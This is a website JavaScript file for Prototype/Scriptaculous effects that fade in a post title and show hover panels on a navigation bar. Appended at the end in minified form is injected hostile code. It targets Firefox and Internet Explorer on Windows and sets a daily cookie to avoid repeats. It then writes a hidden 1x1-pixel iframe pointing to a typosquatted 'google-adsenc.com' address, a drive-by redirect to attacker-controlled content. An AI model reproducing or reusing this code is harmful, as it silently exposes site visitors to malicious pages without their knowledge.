// onload window the title of the page appear
// when the event finish start the function showPostTitle()
// that show the post title of the page
Event.observe(window, 'load', function() {
	// logo href
	Effect.tagifyText('post_title_1');
	// now I fade all text
	Effect.multiple('post_title_1', Effect.Fade, {speed:0.01});
	Effect.Appear('title' , { 
		duration: 3.0, 
		afterFinishInternal:function(){showPostTitle1();}
	});
}, false);

function showPostTitle1(){
	// I can turn on the visibility of the id post_title_1 because every single words is now invisible
	$('post_title_1').style.visibility = 'visible';
	// show the effect
	Effect.multiple('post_title_1', Effect.Appear, {speed:0.08});
}

// event observe
Event.observe(window, 'load', function() {
	// I load the images that I need for the effect
	loadImages(
		['includes/images/win_nav/bg.png', 
		'includes/images/win_nav/bg_bottom.png', 
		'includes/images/win_nav/arrow.png', 
		'includes/images/win_nav/basic.png', 
		'includes/images/win_nav/enterprise.png',
		'includes/images/win_nav/pro.png']
		);
	// run the WinNav effect
	new WinNav('win_nav', 'a');
}, false);

// WinNav prototype class
// this class allow you to insert a new win nav effect
WinNav = Class.create();
WinNav.prototype = {
	// more text class variable
	moreText: 'Read More',

	initialize: function(nav, tagName) {
		// I take all the elements by tag name 
		this.nav = $(nav);
		this.allTags = this.nav.getElementsByTagName(tagName);
		
		// now I run the winNavAddNode function for each element
		for(var i=0, tagName; tagName=this.allTags[i]; i++) {
			this.winNavAddNode(tagName);
		}
	},

	winNavAddNode: function(tagName) {
		// I take the content text
		var content = tagName.title;
		// I delete the link title
		tagName.title = '';
		var visible = Browser.detect.isIE() ? 'hidden' : 'visible';
		
		// this is the DOM mode for create new XHTML code
		var node = Builder.node('div', {'class': 'win_nav_top', 'style': 'display:none;'}, [
			Builder.node('div', {'class': 'win_nav_content'}, [
				Builder.node('h3', ''),
				Builder.node('p', {'style': 'visibility: '+visible+';'}, content),
				Builder.node('h4', this.moreText)
			]),
			Builder.node('div', {'class': 'win_nav_bottom'})
		]);
		
		// insert the node into the tag 
		tagName.appendChild(node);

		// the events:
		// I manage the mouseover event and the mouseout event
		tagName.timeout = false;
		tagName.visible = false;
		Event.observe(tagName, 'mouseover', this.mouseover.bind(tagName, node), false);
		Event.observe(tagName, 'mouseout', this.mouseout.bind(tagName, node), false);
	},

	mouseover: function(node) {
		// if the timeout is not false I clear it
		if (this.timeout) { 
			clearTimeout(this.timeout);
			this.timeout = false;
		}
		if(!this.visible){
			this.visible = true;
			// show the node
			Effect.Appear(node, {duration:.4});
			if(Browser.detect.isIE()){
				pEl = this.getElementsByTagName('p');
				setTimeout("pEl[0].style.visibility = 'visible';", 399);
			}
		}
	},

	mouseout: function(node) {
		// set the timeout before hide the node
		if(Browser.detect.isIE()){
			pEl = this.getElementsByTagName('p');
		}else{
			pEl = null;
		}
		this.timeout = setTimeout(WinNav.prototype.hide.bind(this,node,pEl), 300);
	},

	hide: function(node,pEl) {
		this.visible = false;
		// hide the node
		if(Browser.detect.isIE()){
			pEl[0].style.visibility = 'hidden';
		}
		Effect.Fade(node, {duration:.2});
	}
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
